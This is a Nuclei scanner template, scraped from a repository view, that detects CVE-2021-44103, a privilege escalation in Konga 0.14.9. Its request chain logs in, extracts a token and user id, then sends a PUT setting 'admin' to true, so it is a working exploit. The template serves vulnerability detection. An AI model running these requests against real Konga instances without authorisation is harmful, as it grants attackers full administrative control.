nuclei-templates/cves/2021/CVE-2021-44103.yaml

80 lines
2.1 KiB
YAML
Raw Normal View History

id: CVE-2021-44103
info:
2022-04-02 09:17:22 +00:00
name: KOGA 0.14.9 - Privilege Escalation
author: rschio
severity: high
description: Vertical Privilege Escalation in KONGA 0.14.9 allows attackers to higher privilege users to full administration access. The attack vector is a crafted condition, as demonstrated by the /api/user/{ID} at ADMIN parameter.
reference:
- http://n0hat.blogspot.com/2021/11/konga-0149-privilege-escalation-exploit.html
- https://www.exploit-db.com/exploits/50521
2022-04-02 09:09:25 +00:00
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44103
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2021-44103
cwe-id: CWE-269
2022-04-02 09:09:25 +00:00
tags: cve,cve2021,konga,authenticated
requests:
2022-04-02 09:09:25 +00:00
- raw:
- |
POST /login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
2022-04-02 09:09:25 +00:00
{"password": "{{password}}", "identifier": "{{username}}"}
- |
POST /api/user/{{id}} HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
Referer: {{BaseURL}}
Content-Type: application/json;charset=utf-8
{"token": "{{token}}"}
- |
PUT /api/user/{{id}} HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
Referer: {{BaseURL}}
Content-Type: application/json;charset=utf-8
{"admin": "true", "passports": {"password": "{{password}}", "protocol": "local"}, "token": "{{token}}", "password_confirmation": "{{password}}"}
req-condition: true
matchers-condition: and
matchers:
2022-04-02 09:09:25 +00:00
- type: dsl
dsl:
- 'contains(body_2, "\"admin\":false")'
- 'contains(body_3, "\"admin\":true")'
2022-04-02 09:09:25 +00:00
condition: and
- type: word
2022-04-02 09:09:25 +00:00
part: header
words:
2022-04-02 09:09:25 +00:00
- "application/json"
2022-04-02 09:09:25 +00:00
- type: status
status:
- 200
extractors:
- type: regex
part: body
2022-04-02 09:09:25 +00:00
name: id
internal: true
group: 1
regex:
- '"id":([0-9]+)'
2022-04-02 09:09:25 +00:00
- type: regex
part: body
name: token
internal: true
group: 1
regex:
- '"token":"(.*)"'